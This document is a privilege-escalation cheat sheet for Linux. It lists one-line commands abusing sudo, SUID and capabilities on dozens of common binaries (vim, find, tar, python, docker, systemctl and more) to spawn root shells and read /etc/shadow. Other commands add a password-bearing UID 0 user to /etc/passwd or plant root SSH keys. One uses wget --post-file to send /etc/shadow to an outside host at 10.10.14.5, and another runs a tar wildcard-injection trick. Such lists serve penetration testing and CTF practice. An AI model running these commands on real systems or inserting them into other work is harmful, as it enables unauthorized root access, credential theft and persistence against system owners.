Exploitable Linux binaries

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

awk 'BEGIN {system("/bin/sh")}'

sudo awk 'BEGIN {system("/bin/sh")}'

awk '//' /etc/shadow

./base64 /etc/shadow | base64 -d

Works the same with sudo or SUID.

bash

sudo bash

./bash -p

Without -p, bash drops the SUID privileges.

bash -c 'echo "contenido" > /ruta/fichero'

busybox sh

sudo busybox sh

./busybox sh

busybox wget http://10.10.14.5/fichero -O /tmp/fichero

sudo chmod u+s /bin/bash && bash -p

./chmod 6777 /etc/shadow

With SUID or sudo you can change the permissions of any file (shadow, sudoers, a copy of bash...).

./cp /etc/shadow /dev/stdout

echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" > /tmp/linea
cat /etc/passwd /tmp/linea > /tmp/passwd
sudo cp /tmp/passwd /etc/passwd
su pwn

Adds a UID 0 user with password pwn123. With SUID use ./cp instead of sudo cp.

curl http://10.10.14.5/fichero -o /tmp/fichero

./curl file:///etc/shadow

sudo curl http://10.10.14.5/authorized_keys -o /root/.ssh/authorized_keys

sudo date -f /etc/shadow

Each line shows up in an invalid date error. With SUID use ./date.

./dd if=/etc/shadow

echo "contenido" | sudo dd of=/ruta/fichero

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

If your user is in the docker group, this already gives you root on the host.

sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

env /bin/sh

sudo env /bin/sh

./env /bin/sh -p

expect -c 'spawn /bin/sh;interact'

sudo expect -c 'spawn /bin/sh;interact'

find . -exec /bin/sh \; -quit

sudo find . -exec /bin/sh \; -quit

./find . -exec /bin/sh -p \; -quit

sudo flock -u / /bin/sh

./flock -u / /bin/sh -p

sudo ftp
!/bin/sh

The second line is typed inside ftp.

gdb -nx -ex '!sh' -ex quit

sudo gdb -nx -ex '!sh' -ex quit

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Needs cap_setuid and gdb built with Python support.

sudo git -p help config
!/bin/sh

The pager (less) opens; type the second line there. If it does not page, make the terminal smaller.

sudo journalctl
!/bin/sh

Works when the output does not fit on screen and less opens.

less /etc/profile
!/bin/sh

sudo less /etc/profile
!/bin/sh

./less /etc/shadow

lua -e 'os.execute("/bin/sh")'

sudo lua -e 'os.execute("/bin/sh")'

sudo make -s --eval=$'x:\n\t-'"/bin/sh"

./make -s --eval=$'x:\n\t-'"/bin/sh -p"

sudo man man
!/bin/sh

sudo more /etc/profile
!/bin/sh

Make the terminal small so more does not finish before you can type.

./more /etc/shadow

sudo mysql -e '\! /bin/sh'

sudo nano
Ctrl+R Ctrl+X
reset; sh 1>&0 2>&0

Ctrl+R then Ctrl+X opens "Execute command"; type the third line there.

sudo nano /etc/sudoers

sudo nice /bin/sh

./nice /bin/sh -p

echo 'os.execute("/bin/sh")' > /tmp/x.nse
sudo nmap --script=/tmp/x.nse

sudo nmap --interactive
!sh

Only on old nmap versions (2.02 to 5.21).

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

./openssl enc -in /etc/shadow

echo "contenido" | sudo openssl enc -out /ruta/fichero

perl -e 'exec "/bin/sh";'

sudo perl -e 'exec "/bin/sh";'

./perl -e 'exec "/bin/sh", "-p";'

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

php -r 'system("/bin/sh");'

sudo php -r 'system("/bin/sh");'

./php -r 'pcntl_exec("/bin/sh", ["-p"]);'

./php -r 'posix_setuid(0); system("/bin/sh");'

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

python3 -c 'import os; os.system("/bin/sh")'

sudo python3 -c 'import os; os.system("/bin/sh")'

./python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

./python3 -c 'print(open("/etc/shadow").read())'

rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

ruby -e 'exec "/bin/sh"'

sudo ruby -e 'exec "/bin/sh"'

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

sed -n '1e exec sh 1>&0' /etc/hosts

sudo sed -n '1e exec sh 1>&0' /etc/hosts

./sed -n p /etc/shadow

sudo service ../../bin/sh

sudo socat stdin exec:/bin/sh

ssh -o ProxyCommand=';sh 0<&2 1>&2' x

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

sudo strace -o /dev/null /bin/sh

./strace -o /dev/null /bin/sh -p

sudo systemctl
!sh

Opens the pager; shrink the terminal if it does not show.

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
bash -p

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

If a root script runs tar with a wildcard (tar czf x.tgz *), create files named --checkpoint=1 and --checkpoint-action=exec=sh x.sh in that folder.

echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" | sudo tee -a /etc/passwd
su pwn

sudo timeout --foreground 7d /bin/sh

./timeout 7d /bin/sh -p

vim -c ':!/bin/sh'

sudo vim -c ':!/bin/sh'

./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Needs vim built with Python 3 support (vim --version | grep python3).

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

./vim /etc/shadow

wget http://10.10.14.5/fichero -O /tmp/fichero

sudo wget http://10.10.14.5/passwd -O /etc/passwd

sudo wget --post-file=/etc/shadow http://10.10.14.5/

Receive the file on your machine with nc -lvnp 80.

xargs -a /dev/null sh

sudo xargs -a /dev/null sh

./xargs -a /dev/null sh -p

./xxd /etc/shadow | xxd -r

echo "contenido" | xxd | sudo xxd -r - /ruta/fichero

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'